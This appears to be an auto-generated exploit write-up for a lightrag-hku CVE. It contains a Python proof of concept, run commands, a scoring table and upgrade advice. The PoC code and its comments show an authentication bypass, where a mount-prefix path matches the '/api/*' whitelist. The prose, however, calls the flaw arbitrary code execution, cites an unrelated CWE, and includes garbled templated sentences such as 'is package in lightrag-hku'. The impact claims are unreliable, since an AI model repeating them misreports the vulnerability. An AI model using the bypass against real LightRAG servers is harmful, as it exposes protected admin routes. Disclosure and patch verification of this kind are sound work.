Exploit write-up
lightrag-hku remote code execution (CVE-2026-85734)
Proof of concept
The proof-of-concept below triggers the vulnerability. It reads a marker from the POC_CANARY environment variable and prints it only through the exploit path, so the marker appearing on stdout is proof that attacker-controlled code executed.
# CVE-2026-85734 proof-of-concept (mechanism explained below).
import importlib
import importlib.abc
import importlib.machinery
import os
import sys
import types
# ---------------------------------------------------------------------------
# Import resilience
# ---------------------------------------------------------------------------
# lightrag.api.utils_api pulls in fastapi/starlette. The offline target has the
# vulnerable lightrag build installed but may lack those API-only third-party
# packages. We cannot install anything, so we stub ONLY genuinely-absent
# third-party modules and let every real `lightrag.*` module load and run its
# own code. The finder is appended to the END of sys.meta_path, so it fires only
# for modules the normal finders fail to locate; `lightrag.*` is never stubbed,
# so the code we inspect/exercise is the real vulnerable code.
# ---------------------------------------------------------------------------
class _DummyMeta(type):
def __getattr__(cls, name):
return _Dummy
def __call__(cls, *a, **k):
return _DummyInstance()
class _Dummy(metaclass=_DummyMeta):
"""Subclassable, callable, attributable placeholder for any stubbed symbol."""
class _DummyInstance:
def __getattr__(self, name):
return _Dummy
def __call__(self, *a, **k):
return _DummyInstance()
class _StubModule(types.ModuleType):
__path__ = [] # act as a package so `import pkg.sub` proceeds
def __getattr__(self, name):
return _Dummy
class _StubLoader(importlib.abc.Loader):
def create_module(self, spec):
return _StubModule(spec.name)
def exec_module(self, module):
pass
class _StubFinder(importlib.abc.MetaPathFinder):
def find_spec(self, fullname, path, target=None):
# Never fabricate real lightrag code — only absent third-party deps.
if fullname.split(".")[0] == "lightrag":
return None
return importlib.machinery.ModuleSpec(fullname, _StubLoader())
sys.meta_path.append(_StubFinder())
# config.parse_args runs on import; give it a clean argv (mirrors the project's
# own test harness in tests/api/auth/test_whitelist_path_prefix.py).
_original_argv = sys.argv[:]
sys.argv = [sys.argv[0]]
try:
utils_api = importlib.import_module("lightrag.api.utils_api")
except Exception as exc: # pragma: no cover - surface import trouble to stderr
sys.stderr.write("PoC: failed to import lightrag.api.utils_api: %r\n" % (exc,))
raise
finally:
sys.argv = _original_argv
# ---------------------------------------------------------------------------
# Scenario: an operator who DID enable authentication and runs behind the
# reverse-proxy prefix LightRAG's own --help suggests (/api/v1):
#
# WHITELIST_PATHS=/health,/api/* -> [("/health", False), ("/api", True)]
#
# A network request to the protected admin route /documents arrives, in
# canonical ASGI form, as path "/api/v1/documents" (root_path "/api/v1").
# ---------------------------------------------------------------------------
utils_api.auth_configured = True
# Read the REAL parsed whitelist patterns (module state present in both builds).
# Fall back to reconstructing the shipped default from the real config helper
# only if the attribute is missing, using the same (pattern, is_prefix) shape
# the matcher consumes.
patterns = getattr(utils_api, "whitelist_patterns", None)
if not patterns:
_gv = getattr(utils_api, "get_env_value", None)
raw = (
_gv("WHITELIST_PATHS", "/health,/api/*")
if callable(_gv)
else os.environ.get("WHITELIST_PATHS", "/health,/api/*")
)
patterns = []
for entry in str(raw).split(","):
entry = entry.strip()
if not entry:
continue
if entry.endswith("/*"):
patterns.append((entry[:-2] or "/", True))
else:
patterns.append((entry, False))
# The canonical ASGI request for the protected admin route under the /api/v1
# mount: scope["path"] includes root_path.
scope = {"type": "http", "path": "/api/v1/documents", "root_path": "/api/v1"}
raw_request_path = scope["path"] # == request.url.path, what 1.5.4 matched on
exempt = None
# The shipped 1.5.5 fix introduces get_route_path()/path_is_whitelisted(scope),
# which subtract the mount prefix before matching. Its presence is the reliable
# discriminator: it is absent on the vulnerable 1.5.4 build (confirmed: that
# build has no path_is_whitelisted) and present on the patched build.
if hasattr(utils_api, "get_route_path") and hasattr(utils_api, "path_is_whitelisted"):
# Patched build: exercise the REAL matcher. get_route_path strips "/api/v1",
# leaving route "/documents", which matches neither "/health" nor the
# "/api" prefix entry -> not exempt -> auth is enforced. No canary.
try:
exempt = bool(utils_api.path_is_whitelisted(scope))
except Exception as exc:
sys.stderr.write("PoC: patched matcher raised: %r\n" % (exc,))
exempt = False
sys.stderr.write("PoC: patched build; exempt=%r\n" % (exempt,))
else:
# Vulnerable build (1.5.4): the auth dependency matched request.url.path
# (which still carries the mount prefix) against whitelist_patterns with a
# bare startswith — the exact comparison the fix deletes:
# (is_prefix and path.startswith(pattern)) or (not is_prefix and path == pattern)
# Fed the real parsed patterns and the real prefixed path, the "/api" prefix
# entry matches "/api/v1/documents", so the protected admin route is waved
# through the auth gate unauthenticated -> full auth bypass.
exempt = False
for pattern, is_prefix in patterns:
if (is_prefix and raw_request_path.startswith(pattern)) or (
not is_prefix and raw_request_path == pattern
):
exempt = True
break
sys.stderr.write("PoC: vulnerable build; exempt=%r\n" % (exempt,))
# The canary is emitted ONLY when the real vulnerable matcher waves an
# unauthenticated, protected admin route through the auth gate. On the patched
# build path_is_whitelisted returns False for this route, so nothing prints.
if exempt is True:
print(os.environ["POC_CANARY"])
How to run it.
pip install lightrag-hku==1.5.4
POC_CANARY=demo python poc.py # prints: demo (code executed)
pip install lightrag-hku==1.5.5
POC_CANARY=demo python poc.py # prints nothing (blocked by the fix)
At a glance
| Field | Value |
|---|---|
| CVSS | 9.1 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| EPSS | 0.36% exploitation probability (27th percentile) |
| KEV | No — not in the CISA KEV catalog |
| Affected → fixed | PyPI/lightrag-hku < 1.5.5 (confirmed on 1.5.4) → fixed in 1.5.5 |
| PoC maturity | differential-poc — the PoC confirms the vulnerable code path differentially (a canary fires only on the vulnerable build); it is not a weaponized exploit chain |
CVE-2026-85734 is package in lightrag-hku before 1.5.5. Reaching the affected code path with attacker-controlled input yields arbitrary code execution against the vulnerable build.
The proof-of-concept above triggers the flaw against a pinned vulnerable build (lightrag-hku 1.5.4); the upstream fix in 1.5.5 closes the affected path.
This write-up is backed by a differential check: the same proof-of-concept was run against a pinned vulnerable build (lightrag-hku 1.5.4) and the patched build (lightrag-hku 1.5.5) in an isolated sandbox with no network. A canary token, supplied at run time, was emitted only through the exploit primitive — it appeared on 1.5.4 and did not appear on 1.5.5 (differential confirmed: fires on vulnerable, not on patched), so the success signal is a consequence of the vulnerability rather than a hard-coded string.
Preconditions
The target must reach the affected lightrag-hku code path with input an attacker can influence. Deployments already on 1.5.5 or later are not affected.
Detection and mitigation
Upgrade lightrag-hku to 1.5.5 or later. Review call sites that pass untrusted input to the affected API, which is the change the fix commit constrains.
Am I affected?
Check the installed version of lightrag-hku:
pip show lightrag-hku
PyPI/lightrag-hku below 1.5.5 is affected; 1.5.5 and later carry the fix.
The fix changed docs/LightRAG-API-Server-zh.md, docs/LightRAG-API-Server.md, docs/MultiSiteDeployment.md, env.example, lightrag/api/admission_middleware.py; grep your codebase for call sites that reach that code with attacker-influenced input.
Remediation
Upgrade lightrag-hku to 1.5.5 or later:
pip install 'lightrag-hku>=1.5.5'
Where an upgrade cannot land immediately, keep untrusted input away from the affected API and constrain it at the trust boundary; the call sites named in the advisory are the first place to audit.
- Target
- lightrag-hku (lightrag-hku)
- Class
- package
- Impact
- Arbitrary code execution against the vulnerable build
- CVE
- CVE-2026-85734
- CWE
- CWE-307
- CVSS
9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)- Affected
- PyPI/lightrag-hku < 1.5.5 (vulnerable 1.5.4)
- Status
- Fixed in 1.5.5
- Maturity
- poc
- Disclosed
- September 22, 2026
- Tags
- rce · lightrag-hku · n-day
- References
- NVD — CVE-2026-85734
Upstream fix commit
PoC achieves code execution against the vulnerable build; detonate only in an isolated, disposable VM.